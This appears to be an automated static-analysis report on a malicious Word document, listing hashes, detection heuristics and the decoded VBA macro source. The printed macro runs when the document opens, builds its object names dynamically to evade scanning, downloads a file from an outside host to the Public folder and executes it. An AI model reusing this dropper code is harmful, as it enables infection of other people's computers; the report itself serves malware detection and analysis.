Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 da90b65ccd535d8f…

MALICIOUS

Office (OOXML)

99.3 KB Created: 2021-01-20 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-23
MD5: 816d905336ff6ac0fd4f1c3edc730321 SHA-1: 162fb508f6f0a3a2fa34dd7c24c1c1d4f06de72b SHA-256: da90b65ccd535d8f490a1f5798bc19472ca5e1e1a5073c05f5bbfc6b0fac2a10
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823803-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823803-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          MemoryPastePtr.Write ClearValue.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set ClearValue = CreateObject(ButtonClass)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2128 bytes
SHA-256: 2c884551dda8dbff558ddb9c8090d8301307e97e94292a477073d7e9b84cd562
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
  Application.Run "Fororo"
End Sub

Sub Fororo()
UserForm1.CommandButton2_Click
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{DEC7A87E-A8C8-4483-87D6-5D509B92E713}{DD5E1855-EBCF-4490-AB90-B4C5D7BF98D5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public ReferenceList
Public CounterIteratorRef

Private Sub CommandButton1_Click()
 UserForm1.ReferenceList = "C:\users\Public\256.png"
 UserForm1.CounterIteratorRef = "http"
 FuncConvert = 1
 
 Dim ClearValue As Object
 Dim MemoryPastePtr As Object
 

 For Each ButtonClass In ListBox1.List
    If FuncConvert = 1 Then
      Set ClearValue = CreateObject(ButtonClass)
      ClearValue.Open "GET", UserForm1.CounterIteratorRef + ListBox1.List(3), False
      ClearValue.Send
    End If
    
    If FuncConvert = 2 Then
      Set MemoryPastePtr = CreateObject(ButtonClass)
      MemoryPastePtr.Open
      MemoryPastePtr.Type = 1
      MemoryPastePtr.Write ClearValue.ResponseBody
      MemoryPastePtr.SaveToFile UserForm1.ReferenceList, 2
    End If
    
    If FuncConvert = 3 Then
      Shell@ (ButtonClass + "32 " & UserForm1.ReferenceList)
    End If
    
    FuncConvert = FuncConvert + 1
 Next
End Sub

Public Sub CommandButton2_Click()
  
    ListBox1.AddItem (TextBox1.Tag)
    ListBox1.AddItem (CommandButton4.Tag)
    CommandButton3_Click
    CommandButton1_Click

End Sub

Public Sub CommandButton3_Click()
    ListBox1.AddItem (Image1.Tag)
    CommandButton4_Click
End Sub

Public Sub CommandButton4_Click()
ListBox1.AddItem ("://linestats.cyou/f0t0s.jpg")
End Sub




Private Sub TextBox1_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: 5d14d452dcdac41bdaa65ec44ecd716916299fb71401a303457ecc504ccce5f7